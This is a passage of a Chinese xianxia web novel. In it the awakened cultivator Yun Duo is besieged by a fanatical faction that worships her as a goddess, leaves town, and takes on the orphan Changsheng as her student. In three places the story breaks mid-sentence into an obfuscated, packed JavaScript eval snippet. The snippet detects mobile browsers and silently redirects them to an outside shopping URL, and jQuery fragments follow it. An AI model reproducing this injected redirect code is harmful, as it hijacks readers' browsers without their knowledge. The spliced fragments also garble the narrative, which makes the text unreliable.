一曲弹毕,杨疏意看着天色,对云朵说:“时间差不多了,我们去赴宴吧。” 宴会场所设在了神木旁的空地上,几十个长桌上布满了各色菜肴,男女老少围坐在一起,有说有笑,但没有人动筷。 杨疏意带着云朵,穿过人群,径直走到最前面,最靠近神木的地方。那里摆着一张圆桌,林星遥坐在主位,左手边依次坐着陆夜白、柳折青、岳沉舟。他右手边的位置空着,空位右边坐着阮织梦。 见云朵和杨疏意到场,几人纷纷起身,与云朵寒暄几句后,云朵被安排坐在了林星遥右手边的空位上,杨疏意则坐在阮织梦右侧。 林星遥向着远处黑压压的人群举杯,朗声道:“诸位,今日我们共聚于此,为的是庆祝我身边的这位云岁宁、云姑娘,从漫长的沉睡中苏醒。云姑娘于修仙一途颇有天赋,在二百年前便已结丹,她的回归对于我们来说如虎添翼,为我们带来了战胜黑雾的希望……” 云朵听到这,已经耳根发热,听不进去了。 以前三位师兄也总是夸她,但当着这么多人的面被夸,她还是头一回。看着远处或惊奇、或欣喜的目光,云朵恨不得把脸埋进碗里,当个鸵鸟。 林星遥的开场白结束,大家都开始动筷,边吃边聊。 这一桌坐的都是二百年前就认识的老熟人,林星遥也不用再端着镇长的架子,眉眼间的神色都灵动了不少。陆夜白的那两个师弟也不像在她面前那么闷,反而跟阮织梦互怼得有来有回。杨疏意倒是一直笑盈盈地坐着,只有在话头转到她身上的时候才会说上一两句。 云朵缺席了二百年,很多话题都插不上话,只是在一旁静静地听。听着听着,就开始沉浸在自己的思绪里了。 突然,她觉得衣角被人扯了扯,力道很轻,带着点小心翼翼的试探,但还是被她察觉到了。 云朵下意识地顺着力道看去,惊讶出声:“长生?”她的声音带着一丝难以置信,“你怎么在这里?” 眼前的孩子,赫然是几日前在神木栖吾上唤醒她的小男孩。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062197|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长生收回手,扑闪着黑葡萄一样的眼睛,冲她露出一个傻兮兮的笑:“神仙姐姐,我的族人听说我认识你,都说要让我带他们来见你呢!” 云朵:“你的族人?”她这才注意到,长生身后还站着一群人,他们都穿着粗布麻衣,每人脸上都带着欣喜若狂的表情。他们的眼睛死死盯在云朵身上,眼中满载着期盼,像狂热的信徒见到了神明。 就在云朵被这群突然出现的陌生人看得头皮发麻时,为首的是一个须发皆白的老者,突然“噗通”一声,重重跪倒在地。紧接着,他身后的所有族人全都有样学样,齐刷刷地跪伏下去。 “神女!”老者用嘶哑的声音高喊,声音刺着云朵的耳膜,“求神女垂怜!救救这方天地!救救您的子民吧!” “求神女垂怜!拯救世人!” “请神女归位!重掌乾坤!” “带我们走吧!神女!带我们去圣地!” 数十道声音混杂着哭腔和狂热的呐喊,如同潮水般瞬间将云朵淹没。他们的话语混乱而急切,但核心意思却无比清晰——他们认为云朵是救世主,是他们的神明,他们迫切地要求她履行“神职”,拯救世界! 云朵哪里见过这种阵仗?被这种如同逼宫般的场面吓得后退两步,直到腰磕上了身后的桌子。 “我……我不是……”她想解释,她想说她不是什么神仙,也没有拯救苍生的力量。但面前这群人显然不会听她的话,只是一意孤行地祈求她降下神迹。 她百口莫辩。 “让开!你们这群疯子想干什么?!”一声清亮又带着怒气的呵斥炸响,阮织梦从餐桌的另一边冲过来,伸手将云朵挡在后面,“什么神女神女的!胡言乱语!没看到你们已经把她吓坏了吗?都给我滚开!再敢纠缠,休怪我不客气!”她的袖口中飞出几只黑色飞虫,围在她挡着云朵的手臂旁嗡嗡振翅,显然是动了真怒。 同桌的其他人虽然没有像阮织梦一样直接冲过来,却也都站起身,冷冷地看着对面的人群。 那些跪伏在地的族人猛地抬起头,看向阮织梦的眼神中充满了被冒犯神明的愤怒。 “大胆!敢对神女不敬!” “亵渎者!” “抓住她!别让她打扰神女!”不知是谁先喊了一声,几个体格健壮的男性族人猛地从地上跃起,眼中带着凶光,竟是不顾一切地朝着挡在云朵身前的阮织梦扑了过去。 “住手!”云朵怎能看着阮织梦因自己涉险,呵斥道,盈盈剑似是感受到主人的怒气,自动出鞘三寸,剑身嗡鸣。 那几个族人却恍若未觉,继续向阮织梦冲去。阮织梦的袖中飞出更多蛊虫,眼见就要动手。 “放肆!”一声冷冽的断喝炸响,声音未落,一道锐利无匹的金色剑气,精准无比地掠过,在那几个扑向阮织梦的族人脚前留下了深深的剑痕。剑气中的杀气让那几个扑到一半的壮汉硬生生僵在原地,脸上瞬间失去了血色。 混乱的场面,霎时间陷入死寂。 林星遥提剑踱步到云朵和阮织梦身侧,剑尖斜指地面,脸上再不见平日里温润的笑容,眉眼间冷得能结出寒冰。 云朵也不曾见过这样凛冽的林星遥,暗暗抬手扶住盈盈的剑柄,将它按回鞘中。 林星遥的声音不高,却带着不容置疑的威压和一丝毫不掩饰的杀气: “杨族长,我们同为末世求生之人,本不该刀剑相向。云姑娘与阮小姐皆与我相识二百余年,于我而言,都是友人。阮小姐自从接手医馆,栖云镇居民大小病症皆有求于她,你们对她出手,是何居心?云姑娘于神木上沉睡多年,如今醒来,尚未了解此世全貌,你们便要以‘神女’的名号,企图将她逼上神坛,任你们摆布。”林星遥的眼刀扫过跪伏在地的众人,冷冷道,“你们整日沉浸在求神拜佛中,不事生产,我无意置评。但若你们想对我的友人出手,那便休怪我不客气了。” 冰冷的字眼如同重锤,狠狠砸在所有人心头。长生族人眼中的狂热如同被泼了一盆冰水,瞬间熄灭,只剩下对绝对力量的恐惧和敬畏,纷纷下意识地向后退缩。那须发皆白的老者看着林星遥和他手中那柄剑,嘴唇哆嗦着,再也说不出一个字。 这场闹剧最终以对方的落荒而逃收场,云朵对阮织梦和林星遥道:“阮小姐,林公子,刚才多谢了,我又无意中给你们添麻烦了。” 林星遥收剑,面色依然沉郁:“不,是我考虑不周。我没想到,他们竟已变得如此偏激。” 阮织梦摊手:“近朱者赤,一群疯子天天待在一起,只会一起变得越来越疯。”说完,她又转头对云朵道,“你不用理那些人说的,就算真有神仙要下来救世,看见他们这种整天白吃白喝,还总想要这要那的人,也得被气得扭头回到天上去。” 几人重新坐下,虽然出了这么个插曲,但在座的几位都是经历过当初天破之灾的人,这点事很快就被抛在脑后,继续说笑起来。 38. 辞乡叩九玄(1) 宴会结束时,天色已然黑透了。云朵与他们一一告别,同杨疏意一起回到了歇云处。 “岁宁,真的不需要我帮你弹奏安神曲吗?你昏睡的三天里,每日都不是很安稳,都是我弹了曲子之后才安静下来。”杨疏意还是有些放心不下。 云朵其实也不确定能不能睡得安稳,但实在是不好意思再麻烦别人了,只好劝道:“放心吧,疏意姐姐,我没事了。你帮我弹了三天曲子,肯定也累坏了,快去休息吧。” 杨疏意见她心意已决,只好松口:“好吧,但若有什么问题,一定要来隔壁找我。” 云朵使劲点头:“好的好的,我有事一定叫你!” 得到云朵的保证,杨疏意才一步三回头地进了屋。 回到自己的房间,云朵长出一口气。 这几天发生了太多事,让她感到无所适从。先是一觉醒来,光阴已飞逝二百年,周围已经物是人非,就连熟悉的人身上也多出了很多她不那么熟悉的东西。再是宴会上的那一遭,她原本以为所谓的“神仙”也就是个名头,却没想到陆夜白他们口中的颂祷派竟然已经狂热到这种地步,真的指望她一个什么都不知道的人来拯救他们。 在寂静无声的夜晚,屋外一阵窸窸窣窣的响声吸引了云朵的注意,将她从沉思中拉出来。那声音很轻,看得出来这人很小心,一路从远处挪到了她的窗根下。 云朵推开窗子,伸出头往下看,看见一个毛茸茸的脑袋。脑袋的主人被她打开窗子的动静吓得缩了缩脖子,怯生生地抬头看过来。 长生?他怎么来了? 云朵往旁边看了看,杨疏意住的屋子没有动静,大概已经休息了。于是她比了个“嘘”的手势,伸出胳膊,一把把长生提了起来,顺着窗口拎到了屋里。 “长生,你大晚上的不睡觉,跑到我这里来做什么?”云朵把长生放在床边,示意他坐下,自己搬了把椅子坐在了他对面。 长生坐在床上,头发披散着,一部分垂到了胸前。他低着头不看云朵,双手不断搅着胸前的头发,也不说话。 云朵见他不开口,开玩笑道:“你怎么不说话?不会是梦游吧?正好疏意姐姐在隔壁休息呢,我叫她过来瞧瞧。”说罢,起身就要去开门。 长生见她真要去叫人,赶忙压低声音阻止:“没没没!我没梦游!”见云朵停下来,盯着他瞧,他又飞快地低下了头,诺诺道:“我就是……不知道该怎么说。” 云朵看他这幅扭扭捏捏的样子,大概也猜到他为何而来,却故意装作不懂,问道:“你要说什么?有话赶紧说啊,别耽误我睡觉,女孩子熬夜可是会老得快的!” 长生抬头,两只眼睛湿润润的,颤声道:“我……就是……白天的事……我、我不是故意的!我真的不知道他们会那样!对不起……” 云朵叹了口气。她本来也没有怪长生的想法,这么小的孩子,正在天真烂漫的年纪,哪里会懂得大人肚子里的那些弯弯绕绕。 她像他这么大的时候……好吧,确实是过得比他惨,整天都在炼蛊斗蛊。不过,她到浮云宗后,可是每天都过得很开心,不像长生这般,生活在不知明天和灾难哪一个会先来的时代。 云朵伸出手,轻轻地揉着长生的头,柔声道:“你不用道歉,我知道这不会是你的主意,你也是被大人们欺骗了。大人嘛,可是很会说谎的。”说到这,她想起了什么,低低笑了一下。 她的安慰起了效,长生脸上不再是委屈巴巴的神情了。他放开被他搅得稀乱的头发,问云朵:“那,神仙姐姐也会说谎吗?你说没有怪我,是真的吗?” 云朵笑道:“我才不会撒谎骗小孩呢,那多没品!” 长生顿时开心起来:“那我是不是以后还可以来找你玩?” 云朵点头,随之又想起了什么,问长生:“你喜欢跟我玩?我不是‘神仙’嘛?你怎么不怕我,反而把我当朋友?” 长生被她问得愣住了,他捧着小脑袋冥思苦想了一阵,才不确定道:“虽然你是神仙,但是你给我的感觉很亲切!就像邻居家的姐姐一样,和你呆在一起很开心!”刚说完,他又皱起了小脸,“还是说,跟神仙姐姐做朋友是不对的?像大人总说的……对,亵渎!” 云朵:“那长生,你也像你的族人们一样,认为我是神仙,认为你们整日祈祷,我就应当救你们吗?” 长生微微睁大了双眼:“大人确实是这么说的,但是我觉得哪里不太对,好像除了我们以外,没人会向神树和神仙姐姐祈祷。大家每天都忙忙碌碌的,努力做好自己的事。老大也跟我说过,与其天天盼着不知道在哪儿的神明来救我们,我们更应该自己救自己。” 云朵追问:“那长生是怎么想的呢?” 长生诚实地摇了摇头:“我不知道……我觉得大家说的都有道理。而且,我总觉得你和大人们口中的‘神仙’不一样。” 云朵问:“哪里不一样?” 长生皱起眉头,缓缓地说:“大人们口中的你,非常尊贵,非常高高在上,应该是不会跟我们聊天的。但是你不是这样的呀!你会跟我聊天,会露出各种各样的表情,还会在我不开心的时候安慰我。我觉得,大人可能真的搞错了……” 云朵听了长生的话,略微有些吃惊,长生远比她想得懂事、敏锐。 “所以,你相信我说的?相信我不是什么神女?” 长生用力点头:“我相信你,因为你说你不会对小孩子说谎!” 云朵“噗嗤”一声笑出声。 云朵“我虽然不是什么神女,但我也会尽我的能力帮助大家的,虽然我现在也不知道自己能做什么,我也在寻找答案。” 长生:“真的吗?就算你不是神仙,也会想办法救大家吗?” 云朵郑重点头:“会的。” 小孩子的心事总是来得快,去得也快。长生解开了一整晚的心结后,瞌睡虫很快就找上了门,小脑袋困得一点一点的。云朵见他困得厉害,便扶他躺好,给他盖上了被子。看着长生的呼吸逐渐变得绵长,云朵轻轻将椅子搬回了桌案边,望着窗外,枯坐到天空泛白。 长生醒来时,入眼的陌生天花板和装潢让他惊慌了一下,随即便听到了熟悉的声音。 “你醒了?过来洗把脸吧。”云朵坐在床边招呼他。 长生梳洗过后,云朵提议送他回去,顺便去给他家里人赔个不是。这么小的孩子,一夜未归,家里人发现之后不得急疯了? 哪知长生竟摆摆手,小大人似的说:“不用啦,我其实是个孤儿,没那么多人关注我的,一两天不出现根本没人在意。” 云朵有些吃惊,随后又转变成了心疼:“原来你……你真的不用我送你回去吗?” 长生嘿嘿一笑:“神仙姐姐,我昨晚走夜路都能找过来,你还担心我大白天找不回去吗?” 云朵讪讪地摸了摸鼻子:“倒也是。” 长生推开门,扭头对云朵说:“那我走啦,神仙姐姐!” 云朵笑着冲他招招手,目送小小的身影跑进了熹微的晨光里。 那日宴会上的冲突,就如同投入湖面的一颗石子。虽然石子已消失在湖面上,它激起的涟漪却一圈又一圈地漫开,搅扰了原本的平静。 此后的几天,无论云朵出现在哪里,试图做些什么,那些颂祷派的身影总是如影随形。 某天,她站在练兵场角落安静地观看修士们切磋招式,几个颂祷派青壮突然在她身后排开,模仿她站姿,神情肃穆如同护卫神像,口中念念有词“护卫神女道场”,引得周围人纷纷侧目,让云朵尴尬至极,匆匆离去。 某天,她去集市上采买些日常用品,路过一家茶馆,便想进去坐坐,喝杯茶歇歇脚。谁知她刚坐下不久,颂祷派老者便带着族人进来,不点茶水,径直在她桌旁跪下,旁若无人地开始齐声诵祷,引得茶客纷纷皱眉离席,掌柜敢怒不敢言。云朵杯中茶尚温,却如坐针毡,只能在一片诵经声中仓皇逃离。 某天,她半夜睡不着,在后山寻了一处僻静悬崖边发呆。结果刚坐下不久,黑暗中便传来刻意放轻却清晰的脚步声和刻意压低的诵祷声。回头一看,几个颂祷派的人影远远跪在树影里,对着她的方向膜拜,如同守护着转世的真神,吓得她直接御剑飞回了歇云处。 …… 无处不在的信徒们正在以信仰为丝,编织一张网,企图将她绞杀。 这种现状让云朵感到前所未有的疲惫和窒息。她走到哪里,哪里原本有序的工作就被迫中断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062198|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,气氛变得怪异而紧绷。 云朵再也无法忍受。她决定主动出击,尝试与颂祷派的人沟通。 她避开人群,找到了之前宴会上,那个领头的老者。老者周围还站着一些人,有妇人、有青年,甚至连小长生也在里面。 长生见到云朵,先是睁大了眼,随后冲她小幅度地缓慢摇头。 云朵看他一眼,然后收回视线,尽量让自己的语气平和而诚恳: “各位。”云朵深吸一口气,缓缓道“我理解你们的信仰和期盼。但我真的不是什么神女,也没有呼风唤雨、拯救世界的神力。我和你们一样,只是末世中的一个普通人。” “末世之中,生存艰难,因此需要信仰的力量,这个我能理解。但你们不能让自己沉浸在不切实际的幻想中,不应该用向神明祷告的方式来逃避自己的责任!请把你们的目光从我身上移开,看看其他人,看看那些每日辛勤劳动的人,看看那些为驱逐黑雾而不断战斗的人,看看他们吧!互相帮助,互相守护,做好自己能做的事,这才是眼下最实在、最应该做的事情。你们与其将时间浪费在无谓的祈祷上,不如去加入他们,做些力所能及的事情。哪怕只是帮忙搬一块石头,递一捆木柴,都比空等着所谓的‘神迹’降临要有意义得多。” 云朵说得情真意切,眼中带着真诚。她希望这些人能明白,自救才是他们目前唯一的出路。 然而,她的话音刚落,死寂般的沉默只维持了一瞬。 “什么?!”那老者猛地抬起头,布满皱纹的脸上充满了难以置信和深深的失望,“神女……您……您是说,您不愿拯救我们了?!” “神女大人!您要放弃您的信徒了吗?!”一个中年妇人尖声哭叫起来,扑倒在地,双手疯狂地拍打着泥水,“没了您的庇护,我们可怎么活啊!这黑雾……我们都会死的!” “您怎么能这样!”一个年轻的壮汉愤怒地涨红了脸,拳头紧握,仿佛受到了天大的背叛,“我们等了那么多年!盼了那么久!好不容易等到您归来!您却说您不是神女?您不肯救世?难道您要眼睁睁看着天地倾覆,生灵涂炭吗?!” 质疑、愤怒、绝望、哭嚎……如同积蓄已久的火山,在云朵的劝导下猛烈爆发。 “骗子!她不是神女!她是假的!” “是了!她肯定是被那邪雾蒙蔽了心神!” “神女啊!求您清醒过来吧!不要抛弃我们!” “没有您,我们做再多也是徒劳啊!这天地都要毁了!” 各种声音混杂着哭腔和嘶吼,如同魔音灌耳,冲击着云朵的神经。有人愤怒地质问她为何“背弃使命”,有人悲痛欲绝地哭天抢地,仿佛末日已至,还有人用怀疑和怨恨的目光死死盯着她。 他们的逻辑形成了一个闭环:你不救世,就是抛弃我们;你让我们自救,就是证明你不想救我们。任何理性的劝说,都被他们扭曲成拒绝和抛弃。 小长生被这混乱激烈的场面吓坏了,努力把自己缩在角落里,大大的眼睛里充满了困惑和害怕,似乎不明白他的族人为何会如此激动和悲伤。 云朵被这铺天盖地的指责和哭嚎声包围着,只觉得头晕目眩,胸口憋闷得喘不过气。她的解释如同石沉大海,她的善意被曲解成冷漠和背叛。她看着眼前一张张因绝望和愤怒而扭曲的脸庞,看着他们眼中那毫不讲理的狂热与愤恨,一种前所未有的无力感瞬间攫住了她。 她感觉自己像陷入了一个巨大的、名为“信仰”的泥沼,越是挣扎,就被束缚得越紧,被拖拽得越深。她只是想让大家做点实事,只是想摆脱这令人窒息的“神仙”日子,却仿佛犯下了不可饶恕的罪孽。 不被理解,无法解释。 她不记得自己最后是怎么逃回歇云处的。她扑倒床上,把自己蒙进被子里,耳边似乎还回想着那些尖锐的哭喊和指责。 不能再这样下去了。 这里已经不是她熟悉的浮云宗了,她像一个不速之客,打破了这里脆弱的平静。 师兄们想让她找到自己的答案,但她想,她的答案或许没法在这里找到。 也许,是时候离开这里,到外面去看看了。 平生第一次,云朵有了主动离开这片土地的念头。 39. 辞乡叩九玄(2) 铅灰色的天空低垂,空气湿冷,冰冷黏腻地裹挟着天地万物。 云朵出走的念头来得突然,却又无比笃定,所以她仅用了一天就收拾好了自己的物品,通通塞进了储物袋,然后给相熟的几人传讯,告知她要出门远游的事。 众人接到她的讯息后,均是一脸愕然。但离别在即,他们也没有时间问明白为何一向眷恋浮云宗旧土的人,突然便要离开,只得纷纷放下手头的事,赶来与她告别。 在连通栖云镇与远方的小径上,云朵背着简单的行囊,站在众人面前。 林星遥依旧是一身白衣,平日里温润的脸上多了些离愁别绪,却也没有说什么,只是将一包沉甸甸的灵石和一沓的符纸塞进她手里,低声道:“云姑娘,此去路途遥远,外面黑雾肆虐,你千万小心。这些符是我日常攒下来的,各种用途的都有,你都带上吧。若有难处,随时传讯给我。” 阮织梦跟着上前来,一脸复杂地问道:“你想好了?真的要走?外面可是很危险的。” 云朵点点头:“嗯,我已经下定决心了。我不能还像以前那样,总是待在别人为我构筑的安全领域里,我也是金丹修士,我也可以出一份力。” 阮织梦撇了撇嘴,从袖中掏出一个布袋丢给她:“好吧,既然你都这么说了,我也不好再啰嗦了,这个你拿上,可别随便死在外面了啊!” 云朵接住,打开一看,见里面满满的都是丹药,吃惊道:“这我不能收!医馆那么多伤患,比我更需要这些。我这里还有之前留下的,够用了。” 阮织梦翻了个白眼,斥道:“你对我们是不是有什么误解?就算现在物资紧缺,这点东西我们还是拿得出来的!给你你就拿着!要不然你死在外面了可没人管!”语气还是一贯的刻薄,但那微微泛红的眼角和别开的脸,泄露了她掩饰不住的担忧和不舍。 云朵无奈:“好吧,那我就收下了,谢谢你!” 阮织梦“哼”了一声。 “是不是轮到我们了?”陆夜白上前来,身后还跟着柳折青和岳沉舟,岳沉舟还牵着一匹枣红色的马。 云朵犹疑不定地看了看那匹正喷着鼻息的马,问道:“这是送我的?” 陆夜白有些奇怪:“是啊,难道你打算一直御剑赶路?” 云朵尴尬一笑,没好意思承认她之前确实是这么想的。 她从岳沉舟手里接过缰绳,伸手摸了摸它的脸,问道:“它有名字吗?” 岳沉舟:“绯云。或者你想重新起一个也行。” 云朵笑道:“不了,这个名字就很好,很适合它。” “还有一物,我们考虑了一下,觉得还是交给你比较好。”陆夜白的声音在旁边响起,云朵放开了绯云,转头看去。 陆夜白朝柳折青递了个眼神,柳折青将抱在怀中的物品递给云朵。那物品被布包着,外形看上去像是一把剑。云朵解开缠在外面的布,一把纹饰古朴的剑出现在眼前。她看着这把熟悉的剑,眼圈不由地红了。 那是云怀清的佩剑。 惊鸿。 “大师兄……”在他赴死前,他们连最后一面都没有见上。这件事就像一根刺一样,一直扎在她的心上,虽不致命,但每次想起来,都会带来一阵漫长的钝痛。 柳折青看着她的样子,有点手足无措,将求助的目光投向陆夜白。 陆夜白叹了口气,开口劝道:“云小姐,请节哀。云首席是心怀天下之人,他从未偏离过修行的初心,想必他的一生没有留下太多憾事。” 云朵抬眼将眼泪逼回去,勉强笑着说道:“嗯,抱歉……让你们见笑了。” 几人又叮嘱了她几句,让她路上小心,早些归来。云朵一一谢过,目光扫过这些熟悉的面孔,心中酸涩。 时间的脚步不会因为不舍而放慢,眼见太阳已经要落下,云朵深吸一口气,压下翻涌的情绪,对着众人深深一揖:“诸位的情谊,岁宁铭记于心。此去……不知归期,万望珍重。” 没有再多言,她最后看了一眼远处栖云镇的轮廓,那里有她回不去的曾经和融不进的现在。而未来,依然在迷雾中飘摇。 于是她下定决心,翻身上马,马蹄踏上了那条通向远方的蜿蜒小径,试图寻找拯救这个世界的方法。 身下枣红色的骏马步伐稳健,风掠过耳畔,带着野外特有的清冽气息,稍稍吹散了些许心头的沉重。 然而,大约走出两三里,一种异样的感觉悄然爬上云朵的心头。 有人在跟着她。 那人的跟踪技术不太高明,时不时就会发出一些细小的声音,可能是踩到了枯枝,可能是衣角摩擦过草木。修仙之人耳聪目明,从云朵的角度看来,身后之人早已暴露。 可是,这人会是谁呢?跟踪她的目的又是什么? 她突然心中一紧,一种荒谬但又合理的猜测浮现出来: 莫非,颂祷派的那群人还没有放弃,哪怕她离开栖云镇也要跟过来?! 这种猜测让她不由得冒出几滴冷汗。 这也太疯狂了!外面黑雾肆虐,不知何时就会遇到危险。她独自一人还好,毕竟是个金丹修士,不打算硬碰硬的话,自保还是没什么问题的。但若是还带着一群普通人…… 不行!不能放任他们胡来!大不了把人打晕,再传讯给林星遥他们,让他们把人接回去。 下定决心后,她不动声色地继续策马缓行,假装自己毫无察觉,避免打草惊蛇。暗地里,她却悄然调动起一丝灵力,灌入双耳,锁定了声音的来源。 就在她身后右侧,大约十丈开外,一片茂密的灌木丛中。 她抬眼,发现前方恰好有个小弯道,弯道尽头没入一片幽静的树林中。 云朵猛地一夹马腹。 绯云嘶鸣一声,骤然加速,一人一马的身影飞驰进树林。 在进入树林的瞬间,她足尖在马镫上一点,借力从马背上腾空而起。身体在空中一个灵巧的拧转,轻轻落在一根树枝上。 十几秒后,一团小小的影子慌乱地跑了进来,大约是害怕自己跟丢,也没有仔细观察周围环境,只闷头往前冲。 云朵看准机会,身影扑杀而下,一手将那人反剪住双手,按倒在地。另一只手按在佩剑上,蓄势待发。 “哇——!” 一声带着浓浓哭腔的童音尖叫,在云朵耳边炸响。 听到声音,云朵内心大惊: 长生?! 她赶紧松开手,把人翻了个面。 只见长生凌乱的头发里夹杂着草叶,脸上也沾了不少灰尘,一双瞪得溜圆、盛满惊恐的大眼睛蓄满了眼泪,在看见云朵的那一刻,终于决堤。 “呜呜呜——神仙姐姐,我没想干坏事……你不要打我!”长生像只受惊过度的小兔子,整个人蜷缩起来,怀里还紧紧抱着个鼓鼓囊囊的旧布包袱。 刚才那一出给他吓得够呛,小脸煞白,嘴唇哆嗦着,哭得一抽一抽的,可怜极了。 “对不起对不起!长生,我、我以为是什么奇怪的人,不知道是你……哎呀你怎么也不说出个声啊!”她手忙脚乱地把长生扶起来,又小心翼翼地摘掉他头上的杂草,拍掉他衣服上沾染的灰尘,“你说你,小孩子家家的,不好好在镇里带着,为什么要跟着我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062199|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑出来呀?” 长生抹着眼泪,抽搭着说:“我……我就是想跟着你……” 云朵缓缓收回手,看着眼前这个瑟瑟发抖、满脸委屈的小家伙,方才那股凌厉的气势荡然无存,取而代之的是一种啼笑皆非的荒谬感和深深的无奈。 她蹲下身,看着长生那双因为害怕而水汪汪的大眼睛,又好气又好笑,最终化作一声长长的叹息:“……你呀,胆子是真的大!我还骑着马呢,你有没有想过万一你跟不上我,跟丢了怎么办?这荒郊野岭的,连个鬼影都没有,你不怕被野兽叼走?” 长生用手胡乱地抹掉脸上的泪水,断断续续地说:“怕……怕野兽……但……但更怕以后都见不到……见不到神仙姐姐了……” 云朵觉得心脏好像被什么东西撞了一下,把这些时日筑起的高墙撞开了一条裂缝,一道温暖的光钻了进来。 她伸出手,一下一下地拍着他的背,安抚道:“别哭啦,我向你保证,我肯定会回来的。所以,现在我送你回去,你在镇子里乖乖等着,好不好?” “不,我不要回去!”长生却不领情。他止住了眼泪,紧紧地抱着怀里的包袱,“我想跟你一起走!自从你醒过来之后,族里的大人越来越奇怪了。我觉得他们有点吓人……神仙姐姐,你带我走吧!我会劈柴、生火、做饭,也会干家务,我很有用的!你不要把我送回去好不好?” 长生大概是真的不想回到栖云镇了,他话语急切,声音颤抖,好不容易止住的泪水又开始盈满了眼眶。 云朵也急了:“林公子没告诉你,这外面很危险吗?你一个小孩子,又不会功夫,真碰到了危险,我不一定能护得住你!” “没关系!没关系的,神仙姐姐。我……我从小就没有家人,多亏镇子里的好心人,经常给我送些吃的、用的,我才能活到这么大。我也没有什么朋友,每天都住在族里一个废弃的屋子里,每天都是自己和自己玩。虽然老大对我很好,但是他一直很忙,我不好意思总找他。”说着,长生抽了抽鼻子,抬头看着她,“所以,神仙姐姐不用有负担,受伤了我可以自己处理,如果伤得太重……你就把我丢下!我不见了,也没有人会找我的,所以不会有人找你的麻烦。” 云朵听不下去了,给了他一个脑袋崩,怒道:“你说什么呢!把你丢下?我是那种人??!” 长生捂着脑袋,委屈巴巴道:“我、我就是想说,我不会给你添麻烦的!” 云朵静静地看了他半晌,最终认命般叹道:“好吧,我看你也是铁了心了,我再说什么也没用。” 长生的眼睛一下子亮了,惊喜道:“神仙姐姐,你是答应让我跟你一起走了吗!” 云朵站起身,板着脸说:“答应是答应了,不过我还有一个要求——” 她在长生一脸“你快说!我什么都答应!”的期待中,缓缓道:“跟着我,你必须每日坚持修炼。我可干不出把重伤员丢下自己走掉这种事,所以我得保证你有自保能力,起码碰上野兽不能被叼去!” 长生连连点头应下。 云朵吹了声口哨,绯云踏着“哒哒”的声音跑过来,云朵上马坐定,向长身伸出手:“来,把手给我。” 长生把手放进她的手心,他的手凉凉的,小小一只,掌心和指腹却已生了茧。云朵一用力,就把他拉到马上,让他坐到了她身前。 “长生,扶稳了,我们要出发了。” 长生重重地“嗯”了一声,声音里全是期待。 云朵一抖缰绳,绯云驮着他们,再次踏上了未知的旅途。 马蹄声哒哒,这一次,不再只有孤独的回响。 40. 辞乡叩九玄(3) “沉肩,坠肘,气沉丹田,马步要扎稳。”云朵的声音平静无波,申请是少有的严肃。她的手指轻轻按在长生微微颤抖的肩膀上,一股温和却不容抗拒的力道压下,“抬头,目光平视前方,腰背挺直,不许塌!” 长生的小脸憋得通红,额头上沁出细密的汗珠,两条小短腿抖得像风中的芦苇。云朵看着他这样,脸上绷得紧,心里已经乐开了花。这小子,大概已经想回到过去,扇那个爽快答应跟着她修行的自己一巴掌吧。 “岁……岁宁姐姐……”长生的声音带着哭腔,开始哼哼唧唧,“我的腿……腿好酸……像被好多好多蚂蚁咬!”他试图偷偷挪动一下发麻的脚,立刻被云朵严厉的眼神制止。 云朵冷着脸,双手抱胸,不为所动:“这才一炷香不到。修行根基,首重筋骨。这点苦都吃不得,谈何感应天地灵气?” “可是……真的好累啊……”长生委屈地瘪着嘴,眼睛瞬间蒙上一层水汽,湿漉漉地望着云朵,试图用眼神软化她,“岁宁姐姐,我……我能不能先歇一小会儿?就一小会儿!我保证待会儿再扎双倍时间!”他伸出两根手指,信誓旦旦地承诺着。 云朵看着他可怜巴巴的小模样,内心叹了口气,脸上却依旧绷着:“不行。心念不坚,何谈修行?再坚持半炷香。” “啊?半炷香??”长生哀嚎一声,小脸垮了下来,仿佛听到了世间最可怕的判决。他整个人瞬间像被抽掉了骨头,肩膀塌得更厉害,腰也忍不住往下弯,试图减轻腿部的负担,“岁宁姐姐……我的腿……我的腿好像不是自己的了……它们要离家出走了……你看它们抖得多厉害……” 他声音拖得长长的,带着浓浓的鼻音,像只被雨淋湿的小狗。 他甚至开始耍赖,小幅度地前后摇晃着身体,试图用这种方式缓解肌肉的酸痛,嘴里还不停地小声哼哼:“呜呜……酸死了……麻了麻了……岁宁姐姐最好了……就让我歇歇嘛……求求你了……岁宁姐姐……神仙姐姐……” 云朵无奈地摇了摇头,眼中闪过一丝几不可察的笑意,但语气依然维持着严肃:“站好!不许晃!再晃就加一炷香。跟着我修行可是你自己答应的。” 